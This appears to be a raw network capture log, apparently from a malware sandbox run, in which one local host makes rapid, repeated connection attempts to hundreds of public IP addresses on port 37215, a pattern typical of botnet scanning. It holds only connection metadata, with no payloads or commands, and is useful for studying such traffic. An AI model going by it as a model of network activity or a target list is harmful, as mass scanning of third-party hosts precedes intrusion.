Aug 17, 2024 01:01:53.623007059 CEST	42212	37215	192.168.2.13	41.99.223.216
Aug 17, 2024 01:01:53.623007059 CEST	55102	37215	192.168.2.13	156.205.38.248
Aug 17, 2024 01:01:53.623013973 CEST	33028	37215	192.168.2.13	41.148.76.76
Aug 17, 2024 01:01:53.623025894 CEST	50626	37215	192.168.2.13	156.154.229.161
Aug 17, 2024 01:01:53.623035908 CEST	50220	37215	192.168.2.13	156.154.205.147
Aug 17, 2024 01:01:53.623050928 CEST	56044	37215	192.168.2.13	156.235.68.1
Aug 17, 2024 01:01:53.623059988 CEST	34584	37215	192.168.2.13	41.242.65.160
Aug 17, 2024 01:01:53.623059988 CEST	39010	37215	192.168.2.13	41.84.49.133
Aug 17, 2024 01:01:53.623070002 CEST	56900	37215	192.168.2.13	156.221.79.175
Aug 17, 2024 01:01:53.623075962 CEST	60494	37215	192.168.2.13	41.134.158.160
Aug 17, 2024 01:01:53.623099089 CEST	52602	37215	192.168.2.13	156.67.161.129
Aug 17, 2024 01:01:53.623107910 CEST	58688	37215	192.168.2.13	197.128.179.66
Aug 17, 2024 01:01:53.623120070 CEST	46698	37215	192.168.2.13	156.132.168.255
Aug 17, 2024 01:01:53.623127937 CEST	51134	37215	192.168.2.13	41.24.136.68
Aug 17, 2024 01:01:53.623136044 CEST	44772	37215	192.168.2.13	41.66.98.205
Aug 17, 2024 01:01:53.623150110 CEST	35294	37215	192.168.2.13	156.130.74.237
Aug 17, 2024 01:01:53.623150110 CEST	38128	37215	192.168.2.13	41.43.248.75
Aug 17, 2024 01:01:53.623157978 CEST	37540	37215	192.168.2.13	156.223.58.70
Aug 17, 2024 01:01:53.623169899 CEST	48274	37215	192.168.2.13	41.180.115.246
Aug 17, 2024 01:01:53.623181105 CEST	48522	37215	192.168.2.13	197.196.210.52
Aug 17, 2024 01:01:53.623194933 CEST	57492	37215	192.168.2.13	156.252.3.231
Aug 17, 2024 01:01:53.623212099 CEST	33724	37215	192.168.2.13	41.60.234.90
Aug 17, 2024 01:01:53.623219013 CEST	37646	37215	192.168.2.13	197.159.67.240
Aug 17, 2024 01:01:53.623219967 CEST	41952	37215	192.168.2.13	156.251.164.202
Aug 17, 2024 01:01:53.623234987 CEST	44914	37215	192.168.2.13	197.244.251.224
Aug 17, 2024 01:01:53.623240948 CEST	39046	37215	192.168.2.13	156.1.106.214
Aug 17, 2024 01:01:53.623275995 CEST	49628	37215	192.168.2.13	156.127.33.235
Aug 17, 2024 01:01:53.623275995 CEST	38002	37215	192.168.2.13	41.108.222.238
Aug 17, 2024 01:01:53.623290062 CEST	38382	37215	192.168.2.13	197.165.75.106
Aug 17, 2024 01:01:53.623296976 CEST	45208	37215	192.168.2.13	197.171.157.27
Aug 17, 2024 01:01:53.623296976 CEST	41376	37215	192.168.2.13	156.32.44.193
Aug 17, 2024 01:01:53.623303890 CEST	33638	37215	192.168.2.13	197.69.174.97
Aug 17, 2024 01:01:53.623316050 CEST	58422	37215	192.168.2.13	197.196.189.181
Aug 17, 2024 01:01:53.623328924 CEST	42098	37215	192.168.2.13	156.64.163.206
Aug 17, 2024 01:01:53.623338938 CEST	38320	37215	192.168.2.13	197.209.88.112
Aug 17, 2024 01:01:53.623338938 CEST	56614	37215	192.168.2.13	156.152.95.241
Aug 17, 2024 01:01:53.623351097 CEST	57456	37215	192.168.2.13	197.238.77.22
Aug 17, 2024 01:01:53.623351097 CEST	55714	37215	192.168.2.13	197.25.156.24
Aug 17, 2024 01:01:53.623378038 CEST	53810	37215	192.168.2.13	156.238.84.194
Aug 17, 2024 01:01:53.623390913 CEST	39546	37215	192.168.2.13	197.95.88.187
Aug 17, 2024 01:01:53.623399973 CEST	51290	37215	192.168.2.13	41.146.158.211
Aug 17, 2024 01:01:53.623414993 CEST	45004	37215	192.168.2.13	197.225.201.198
Aug 17, 2024 01:01:53.623414993 CEST	51132	37215	192.168.2.13	156.169.133.126
Aug 17, 2024 01:01:53.623416901 CEST	48496	37215	192.168.2.13	41.103.197.121
Aug 17, 2024 01:01:53.626176119 CEST	37215	54046	156.69.19.103	192.168.2.13
Aug 17, 2024 01:01:53.626180887 CEST	37215	48690	197.41.196.166	192.168.2.13
Aug 17, 2024 01:01:53.626215935 CEST	37215	36284	197.193.51.179	192.168.2.13
Aug 17, 2024 01:01:53.626216888 CEST	48690	37215	192.168.2.13	197.41.196.166
Aug 17, 2024 01:01:53.626239061 CEST	37215	33140	156.206.245.133	192.168.2.13
Aug 17, 2024 01:01:53.626244068 CEST	37215	43458	156.209.245.194	192.168.2.13
Aug 17, 2024 01:01:53.626247883 CEST	36284	37215	192.168.2.13	197.193.51.179
Aug 17, 2024 01:01:53.626255989 CEST	54046	37215	192.168.2.13	156.69.19.103
Aug 17, 2024 01:01:53.626265049 CEST	33140	37215	192.168.2.13	156.206.245.133
Aug 17, 2024 01:01:53.626270056 CEST	43458	37215	192.168.2.13	156.209.245.194
Aug 17, 2024 01:01:53.626316071 CEST	54558	37215	192.168.2.13	156.69.19.103
Aug 17, 2024 01:01:53.626321077 CEST	54046	37215	192.168.2.13	156.69.19.103
Aug 17, 2024 01:01:53.626321077 CEST	54046	37215	192.168.2.13	156.69.19.103
Aug 17, 2024 01:01:53.626328945 CEST	48690	37215	192.168.2.13	197.41.196.166
Aug 17, 2024 01:01:53.626328945 CEST	48690	37215	192.168.2.13	197.41.196.166
Aug 17, 2024 01:01:53.626338959 CEST	49200	37215	192.168.2.13	197.41.196.166
Aug 17, 2024 01:01:53.626359940 CEST	37215	49286	197.177.67.110	192.168.2.13
Aug 17, 2024 01:01:53.626378059 CEST	36284	37215	192.168.2.13	197.193.51.179
Aug 17, 2024 01:01:53.626393080 CEST	36284	37215	192.168.2.13	197.193.51.179
Aug 17, 2024 01:01:53.626394987 CEST	37215	47606	156.229.31.78	192.168.2.13
Aug 17, 2024 01:01:53.626401901 CEST	49286	37215	192.168.2.13	197.177.67.110
Aug 17, 2024 01:01:53.626405001 CEST	36794	37215	192.168.2.13	197.193.51.179
Aug 17, 2024 01:01:53.626413107 CEST	37215	48558	156.12.34.211	192.168.2.13
Aug 17, 2024 01:01:53.626425028 CEST	43458	37215	192.168.2.13	156.209.245.194
Aug 17, 2024 01:01:53.626425982 CEST	37215	60304	41.203.182.94	192.168.2.13
Aug 17, 2024 01:01:53.626430988 CEST	37215	51108	41.209.253.67	192.168.2.13
Aug 17, 2024 01:01:53.626431942 CEST	43458	37215	192.168.2.13	156.209.245.194
Aug 17, 2024 01:01:53.626436949 CEST	47606	37215	192.168.2.13	156.229.31.78
Aug 17, 2024 01:01:53.626446009 CEST	48558	37215	192.168.2.13	156.12.34.211
Aug 17, 2024 01:01:53.626446962 CEST	37215	47964	156.252.93.227	192.168.2.13
Aug 17, 2024 01:01:53.626450062 CEST	33140	37215	192.168.2.13	156.206.245.133
Aug 17, 2024 01:01:53.626451015 CEST	37215	46802	156.253.192.21	192.168.2.13
Aug 17, 2024 01:01:53.626457930 CEST	33140	37215	192.168.2.13	156.206.245.133
Aug 17, 2024 01:01:53.626458883 CEST	43968	37215	192.168.2.13	156.209.245.194
Aug 17, 2024 01:01:53.626467943 CEST	51108	37215	192.168.2.13	41.209.253.67
Aug 17, 2024 01:01:53.626470089 CEST	47964	37215	192.168.2.13	156.252.93.227
Aug 17, 2024 01:01:53.626483917 CEST	60304	37215	192.168.2.13	41.203.182.94
Aug 17, 2024 01:01:53.626487017 CEST	37215	46804	197.84.229.66	192.168.2.13
Aug 17, 2024 01:01:53.626491070 CEST	33650	37215	192.168.2.13	156.206.245.133
Aug 17, 2024 01:01:53.626509905 CEST	37215	33120	156.8.41.111	192.168.2.13
Aug 17, 2024 01:01:53.626542091 CEST	46804	37215	192.168.2.13	197.84.229.66
Aug 17, 2024 01:01:53.626542091 CEST	33120	37215	192.168.2.13	156.8.41.111
Aug 17, 2024 01:01:53.626573086 CEST	60304	37215	192.168.2.13	41.203.182.94
Aug 17, 2024 01:01:53.626573086 CEST	60304	37215	192.168.2.13	41.203.182.94
Aug 17, 2024 01:01:53.626590967 CEST	60824	37215	192.168.2.13	41.203.182.94
Aug 17, 2024 01:01:53.626595974 CEST	49286	37215	192.168.2.13	197.177.67.110
Aug 17, 2024 01:01:53.626595974 CEST	49286	37215	192.168.2.13	197.177.67.110
Aug 17, 2024 01:01:53.626612902 CEST	49798	37215	192.168.2.13	197.177.67.110
Aug 17, 2024 01:01:53.626616955 CEST	46802	37215	192.168.2.13	156.253.192.21
Aug 17, 2024 01:01:53.626616955 CEST	47606	37215	192.168.2.13	156.229.31.78
Aug 17, 2024 01:01:53.626624107 CEST	37215	47246	156.95.81.195	192.168.2.13
Aug 17, 2024 01:01:53.626629114 CEST	47606	37215	192.168.2.13	156.229.31.78
Aug 17, 2024 01:01:53.626646042 CEST	37215	38094	41.239.56.153	192.168.2.13
Aug 17, 2024 01:01:53.626646996 CEST	47964	37215	192.168.2.13	156.252.93.227
Aug 17, 2024 01:01:53.626647949 CEST	47246	37215	192.168.2.13	156.95.81.195
Aug 17, 2024 01:01:53.626650095 CEST	37215	57826	197.62.104.162	192.168.2.13
Aug 17, 2024 01:01:53.626662970 CEST	47964	37215	192.168.2.13	156.252.93.227
Aug 17, 2024 01:01:53.626668930 CEST	38094	37215	192.168.2.13	41.239.56.153
Aug 17, 2024 01:01:53.626684904 CEST	48118	37215	192.168.2.13	156.229.31.78
Aug 17, 2024 01:01:53.626684904 CEST	48476	37215	192.168.2.13	156.252.93.227
Aug 17, 2024 01:01:53.626698017 CEST	48558	37215	192.168.2.13	156.12.34.211
Aug 17, 2024 01:01:53.626698017 CEST	48558	37215	192.168.2.13	156.12.34.211
Aug 17, 2024 01:01:53.626708984 CEST	49070	37215	192.168.2.13	156.12.34.211
Aug 17, 2024 01:01:53.626722097 CEST	51108	37215	192.168.2.13	41.209.253.67
Aug 17, 2024 01:01:53.626728058 CEST	51108	37215	192.168.2.13	41.209.253.67
Aug 17, 2024 01:01:53.626734972 CEST	51620	37215	192.168.2.13	41.209.253.67
Aug 17, 2024 01:01:53.626740932 CEST	46802	37215	192.168.2.13	156.253.192.21
Aug 17, 2024 01:01:53.626740932 CEST	46802	37215	192.168.2.13	156.253.192.21
Aug 17, 2024 01:01:53.626770020 CEST	57826	37215	192.168.2.13	197.62.104.162
Aug 17, 2024 01:01:53.626811981 CEST	46804	37215	192.168.2.13	197.84.229.66
Aug 17, 2024 01:01:53.626811981 CEST	47316	37215	192.168.2.13	197.84.229.66
Aug 17, 2024 01:01:53.626811981 CEST	46804	37215	192.168.2.13	197.84.229.66
Aug 17, 2024 01:01:53.626821995 CEST	47314	37215	192.168.2.13	156.253.192.21
Aug 17, 2024 01:01:53.626822948 CEST	37215	58620	156.114.139.111	192.168.2.13
Aug 17, 2024 01:01:53.626837015 CEST	33120	37215	192.168.2.13	156.8.41.111
Aug 17, 2024 01:01:53.626837015 CEST	33120	37215	192.168.2.13	156.8.41.111
Aug 17, 2024 01:01:53.626856089 CEST	58620	37215	192.168.2.13	156.114.139.111
Aug 17, 2024 01:01:53.626873016 CEST	37215	60652	156.80.95.191	192.168.2.13
Aug 17, 2024 01:01:53.626879930 CEST	47246	37215	192.168.2.13	156.95.81.195
Aug 17, 2024 01:01:53.626879930 CEST	47246	37215	192.168.2.13	156.95.81.195
Aug 17, 2024 01:01:53.626889944 CEST	33632	37215	192.168.2.13	156.8.41.111
Aug 17, 2024 01:01:53.626893997 CEST	60652	37215	192.168.2.13	156.80.95.191
Aug 17, 2024 01:01:53.626910925 CEST	37215	43824	41.157.166.194	192.168.2.13
Aug 17, 2024 01:01:53.626913071 CEST	47758	37215	192.168.2.13	156.95.81.195
Aug 17, 2024 01:01:53.626921892 CEST	57826	37215	192.168.2.13	197.62.104.162
Aug 17, 2024 01:01:53.626921892 CEST	57826	37215	192.168.2.13	197.62.104.162
Aug 17, 2024 01:01:53.626929998 CEST	58338	37215	192.168.2.13	197.62.104.162
Aug 17, 2024 01:01:53.626939058 CEST	38094	37215	192.168.2.13	41.239.56.153
Aug 17, 2024 01:01:53.626941919 CEST	43824	37215	192.168.2.13	41.157.166.194
Aug 17, 2024 01:01:53.626945972 CEST	38094	37215	192.168.2.13	41.239.56.153
Aug 17, 2024 01:01:53.626954079 CEST	38606	37215	192.168.2.13	41.239.56.153
Aug 17, 2024 01:01:53.626993895 CEST	58620	37215	192.168.2.13	156.114.139.111
Aug 17, 2024 01:01:53.627001047 CEST	58620	37215	192.168.2.13	156.114.139.111
Aug 17, 2024 01:01:53.627006054 CEST	59130	37215	192.168.2.13	156.114.139.111
Aug 17, 2024 01:01:53.627017975 CEST	37215	52286	41.85.178.55	192.168.2.13
Aug 17, 2024 01:01:53.627022028 CEST	37215	38636	197.197.236.147	192.168.2.13
Aug 17, 2024 01:01:53.627048016 CEST	38636	37215	192.168.2.13	197.197.236.147
Aug 17, 2024 01:01:53.627051115 CEST	52286	37215	192.168.2.13	41.85.178.55
Aug 17, 2024 01:01:53.627058983 CEST	43824	37215	192.168.2.13	41.157.166.194
Aug 17, 2024 01:01:53.627072096 CEST	43824	37215	192.168.2.13	41.157.166.194
Aug 17, 2024 01:01:53.627074957 CEST	44334	37215	192.168.2.13	41.157.166.194
Aug 17, 2024 01:01:53.627074957 CEST	37215	42410	156.217.124.220	192.168.2.13
Aug 17, 2024 01:01:53.627087116 CEST	60652	37215	192.168.2.13	156.80.95.191
Aug 17, 2024 01:01:53.627090931 CEST	37215	46400	156.208.138.87	192.168.2.13
Aug 17, 2024 01:01:53.627095938 CEST	60652	37215	192.168.2.13	156.80.95.191
Aug 17, 2024 01:01:53.627100945 CEST	37215	36454	197.45.32.190	192.168.2.13
Aug 17, 2024 01:01:53.627120018 CEST	42410	37215	192.168.2.13	156.217.124.220
Aug 17, 2024 01:01:53.627121925 CEST	32930	37215	192.168.2.13	156.80.95.191
Aug 17, 2024 01:01:53.627129078 CEST	37215	39842	41.162.93.226	192.168.2.13
Aug 17, 2024 01:01:53.627131939 CEST	36454	37215	192.168.2.13	197.45.32.190
Aug 17, 2024 01:01:53.627137899 CEST	37215	44780	156.211.196.246	192.168.2.13
Aug 17, 2024 01:01:53.627150059 CEST	37215	33738	41.198.196.159	192.168.2.13
Aug 17, 2024 01:01:53.627161026 CEST	44780	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.627177954 CEST	33738	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.627212048 CEST	46400	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.627216101 CEST	39842	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.627216101 CEST	42410	37215	192.168.2.13	156.217.124.220
Aug 17, 2024 01:01:53.627216101 CEST	42410	37215	192.168.2.13	156.217.124.220
Aug 17, 2024 01:01:53.627238035 CEST	52286	37215	192.168.2.13	41.85.178.55
Aug 17, 2024 01:01:53.627238035 CEST	52286	37215	192.168.2.13	41.85.178.55
Aug 17, 2024 01:01:53.627262115 CEST	38636	37215	192.168.2.13	197.197.236.147
Aug 17, 2024 01:01:53.627262115 CEST	38636	37215	192.168.2.13	197.197.236.147
Aug 17, 2024 01:01:53.627280951 CEST	37215	57368	197.233.139.44	192.168.2.13
Aug 17, 2024 01:01:53.627280951 CEST	36454	37215	192.168.2.13	197.45.32.190
Aug 17, 2024 01:01:53.627281904 CEST	36454	37215	192.168.2.13	197.45.32.190
Aug 17, 2024 01:01:53.627296925 CEST	42928	37215	192.168.2.13	156.217.124.220
Aug 17, 2024 01:01:53.627296925 CEST	36966	37215	192.168.2.13	197.45.32.190
Aug 17, 2024 01:01:53.627299070 CEST	52798	37215	192.168.2.13	41.85.178.55
Aug 17, 2024 01:01:53.627312899 CEST	57368	37215	192.168.2.13	197.233.139.44
Aug 17, 2024 01:01:53.627327919 CEST	46400	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.627327919 CEST	46400	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.627345085 CEST	39148	37215	192.168.2.13	197.197.236.147
Aug 17, 2024 01:01:53.627345085 CEST	39842	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.627345085 CEST	39842	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.627355099 CEST	37215	41552	197.175.35.145	192.168.2.13
Aug 17, 2024 01:01:53.627357006 CEST	40354	37215	192.168.2.13	41.162.93.226
Aug 17, 2024 01:01:53.627370119 CEST	44780	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.627372026 CEST	37215	41866	156.186.51.123	192.168.2.13
Aug 17, 2024 01:01:53.627372980 CEST	46912	37215	192.168.2.13	156.208.138.87
Aug 17, 2024 01:01:53.627376080 CEST	44780	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.627381086 CEST	37215	35964	41.248.228.9	192.168.2.13
Aug 17, 2024 01:01:53.627384901 CEST	41552	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.627398968 CEST	41866	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.627403975 CEST	37215	32786	156.144.246.34	192.168.2.13
Aug 17, 2024 01:01:53.627405882 CEST	45292	37215	192.168.2.13	156.211.196.246
Aug 17, 2024 01:01:53.627409935 CEST	35964	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.627419949 CEST	37215	41930	156.11.180.235	192.168.2.13
Aug 17, 2024 01:01:53.627434969 CEST	32786	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.627439022 CEST	37215	37380	156.119.11.52	192.168.2.13
Aug 17, 2024 01:01:53.627450943 CEST	33738	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.627450943 CEST	37215	49872	41.9.135.201	192.168.2.13
Aug 17, 2024 01:01:53.627450943 CEST	41930	37215	192.168.2.13	156.11.180.235
Aug 17, 2024 01:01:53.627456903 CEST	37380	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.627465963 CEST	33738	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.627473116 CEST	49872	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.627479076 CEST	37215	43786	197.226.36.164	192.168.2.13
Aug 17, 2024 01:01:53.627486944 CEST	34250	37215	192.168.2.13	41.198.196.159
Aug 17, 2024 01:01:53.627487898 CEST	37215	32930	156.177.91.0	192.168.2.13
Aug 17, 2024 01:01:53.627496958 CEST	37215	37238	41.60.201.101	192.168.2.13
Aug 17, 2024 01:01:53.627501011 CEST	43786	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.627516031 CEST	37238	37215	192.168.2.13	41.60.201.101
Aug 17, 2024 01:01:53.627516985 CEST	32930	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.627552032 CEST	41552	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.627552032 CEST	41552	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.627563953 CEST	42064	37215	192.168.2.13	197.175.35.145
Aug 17, 2024 01:01:53.627580881 CEST	41866	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.627580881 CEST	41866	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.627590895 CEST	42376	37215	192.168.2.13	156.186.51.123
Aug 17, 2024 01:01:53.627600908 CEST	35964	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.627600908 CEST	35964	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.627615929 CEST	36474	37215	192.168.2.13	41.248.228.9
Aug 17, 2024 01:01:53.627625942 CEST	32786	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.627630949 CEST	32786	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.627639055 CEST	33296	37215	192.168.2.13	156.144.246.34
Aug 17, 2024 01:01:53.627671003 CEST	37215	57180	156.75.239.51	192.168.2.13
Aug 17, 2024 01:01:53.627695084 CEST	32930	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.627695084 CEST	32930	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.627695084 CEST	57180	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.627697945 CEST	33448	37215	192.168.2.13	156.177.91.0
Aug 17, 2024 01:01:53.627701998 CEST	37215	45052	156.163.162.59	192.168.2.13
Aug 17, 2024 01:01:53.627707005 CEST	37215	52264	41.239.67.63	192.168.2.13
Aug 17, 2024 01:01:53.627712965 CEST	37380	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.627716064 CEST	37215	39038	197.223.217.187	192.168.2.13
Aug 17, 2024 01:01:53.627720118 CEST	37380	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.627727032 CEST	37892	37215	192.168.2.13	156.119.11.52
Aug 17, 2024 01:01:53.627748966 CEST	49872	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.627748966 CEST	49872	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.627768040 CEST	45052	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.627777100 CEST	50384	37215	192.168.2.13	41.9.135.201
Aug 17, 2024 01:01:53.627777100 CEST	43786	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.627777100 CEST	43786	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.627780914 CEST	44298	37215	192.168.2.13	197.226.36.164
Aug 17, 2024 01:01:53.627860069 CEST	57180	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.627861023 CEST	57180	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.627887011 CEST	45052	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.627887011 CEST	45052	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.627892017 CEST	45562	37215	192.168.2.13	156.163.162.59
Aug 17, 2024 01:01:53.627935886 CEST	57692	37215	192.168.2.13	156.75.239.51
Aug 17, 2024 01:01:53.627948046 CEST	37215	46774	41.198.146.159	192.168.2.13
Aug 17, 2024 01:01:53.627960920 CEST	37215	59742	197.21.187.211	192.168.2.13
Aug 17, 2024 01:01:53.627974033 CEST	37215	53090	197.208.199.186	192.168.2.13
Aug 17, 2024 01:01:53.627995968 CEST	37215	44078	197.111.114.112	192.168.2.13
Aug 17, 2024 01:01:53.627999067 CEST	46774	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.627999067 CEST	59742	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.628009081 CEST	53090	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.628010035 CEST	37215	38700	156.12.180.17	192.168.2.13
Aug 17, 2024 01:01:53.628021955 CEST	44078	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.628026962 CEST	37215	41808	197.32.225.20	192.168.2.13
Aug 17, 2024 01:01:53.628031015 CEST	38700	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.628031969 CEST	37215	52264	41.239.67.63	192.168.2.13
Aug 17, 2024 01:01:53.628047943 CEST	41808	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.628061056 CEST	52264	37215	192.168.2.13	41.239.67.63
Aug 17, 2024 01:01:53.628070116 CEST	37215	39038	197.223.217.187	192.168.2.13
Aug 17, 2024 01:01:53.628073931 CEST	37215	34484	41.17.130.35	192.168.2.13
Aug 17, 2024 01:01:53.628077984 CEST	37215	48804	156.95.91.99	192.168.2.13
Aug 17, 2024 01:01:53.628088951 CEST	39038	37215	192.168.2.13	197.223.217.187
Aug 17, 2024 01:01:53.628093004 CEST	46774	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.628093004 CEST	46774	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.628101110 CEST	48804	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.628103971 CEST	34484	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.628122091 CEST	47288	37215	192.168.2.13	41.198.146.159
Aug 17, 2024 01:01:53.628127098 CEST	59742	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.628128052 CEST	59742	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.628144979 CEST	60254	37215	192.168.2.13	197.21.187.211
Aug 17, 2024 01:01:53.628160954 CEST	53090	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.628160954 CEST	53090	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.628174067 CEST	53602	37215	192.168.2.13	197.208.199.186
Aug 17, 2024 01:01:53.628180981 CEST	37215	50640	41.239.105.32	192.168.2.13
Aug 17, 2024 01:01:53.628223896 CEST	44078	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.628237963 CEST	44078	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.628247023 CEST	44590	37215	192.168.2.13	197.111.114.112
Aug 17, 2024 01:01:53.628252029 CEST	50640	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.628252029 CEST	38700	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.628269911 CEST	39212	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.628284931 CEST	41808	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.628284931 CEST	41808	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.628294945 CEST	42320	37215	192.168.2.13	197.32.225.20
Aug 17, 2024 01:01:53.628336906 CEST	34484	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.628336906 CEST	37215	32964	156.196.119.82	192.168.2.13
Aug 17, 2024 01:01:53.628336906 CEST	34484	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.628340960 CEST	37215	52302	41.95.107.251	192.168.2.13
Aug 17, 2024 01:01:53.628348112 CEST	34996	37215	192.168.2.13	41.17.130.35
Aug 17, 2024 01:01:53.628350019 CEST	37215	60826	41.92.244.170	192.168.2.13
Aug 17, 2024 01:01:53.628355026 CEST	37215	39218	41.187.55.248	192.168.2.13
Aug 17, 2024 01:01:53.628355026 CEST	48804	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.628355026 CEST	48804	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.628359079 CEST	37215	40472	197.116.147.152	192.168.2.13
Aug 17, 2024 01:01:53.628371954 CEST	38700	37215	192.168.2.13	156.12.180.17
Aug 17, 2024 01:01:53.628371954 CEST	49316	37215	192.168.2.13	156.95.91.99
Aug 17, 2024 01:01:53.628372908 CEST	37215	38110	41.158.204.133	192.168.2.13
Aug 17, 2024 01:01:53.628374100 CEST	32964	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.628375053 CEST	52302	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.628377914 CEST	60826	37215	192.168.2.13	41.92.244.170
Aug 17, 2024 01:01:53.628386021 CEST	39218	37215	192.168.2.13	41.187.55.248
Aug 17, 2024 01:01:53.628386974 CEST	40472	37215	192.168.2.13	197.116.147.152
Aug 17, 2024 01:01:53.628391027 CEST	38110	37215	192.168.2.13	41.158.204.133
Aug 17, 2024 01:01:53.628550053 CEST	50640	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.628550053 CEST	50640	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.628556013 CEST	37215	58126	41.212.206.133	192.168.2.13
Aug 17, 2024 01:01:53.628561020 CEST	37215	40864	156.172.238.118	192.168.2.13
Aug 17, 2024 01:01:53.628565073 CEST	51152	37215	192.168.2.13	41.239.105.32
Aug 17, 2024 01:01:53.628565073 CEST	37215	36902	41.50.104.78	192.168.2.13
Aug 17, 2024 01:01:53.628581047 CEST	58126	37215	192.168.2.13	41.212.206.133
Aug 17, 2024 01:01:53.628582001 CEST	37215	42498	156.227.198.116	192.168.2.13
Aug 17, 2024 01:01:53.628585100 CEST	36902	37215	192.168.2.13	41.50.104.78
Aug 17, 2024 01:01:53.628587008 CEST	37215	43894	41.30.13.209	192.168.2.13
Aug 17, 2024 01:01:53.628587008 CEST	40864	37215	192.168.2.13	156.172.238.118
Aug 17, 2024 01:01:53.628603935 CEST	42498	37215	192.168.2.13	156.227.198.116
Aug 17, 2024 01:01:53.628637075 CEST	32964	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.628637075 CEST	32964	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.628638029 CEST	37215	55904	41.135.153.113	192.168.2.13
Aug 17, 2024 01:01:53.628643990 CEST	37215	41946	197.142.174.225	192.168.2.13
Aug 17, 2024 01:01:53.628649950 CEST	33476	37215	192.168.2.13	156.196.119.82
Aug 17, 2024 01:01:53.628655910 CEST	37215	33852	41.175.118.166	192.168.2.13
Aug 17, 2024 01:01:53.628660917 CEST	37215	46466	156.170.0.111	192.168.2.13
Aug 17, 2024 01:01:53.628660917 CEST	52302	37215	192.168.2.13	41.95.107.251
Aug 17, 2024 01:01:53.628664970 CEST	37215	58078	156.139.38.63	192.168.2.13
Aug 17, 2024 01:01:53.628667116 CEST	41946	37215	192.168.2.13	197.142.174.225
Aug 17, 2024 01:01:53.628671885 CEST	37215	43788	41.245.184.88	192.168.2.13
Aug 17, 2024 01:01:53.628674984 CEST	55904	37215	192.168.2.13	41.135.153.113
Aug 17, 2024 01:01:53.628683090 CEST	43894	37215	192.168.2.13	41.30.13.209
Aug 17, 2024 01:01:53.628683090 CEST	33852	37215	192.168.2.13	41.175.118.166
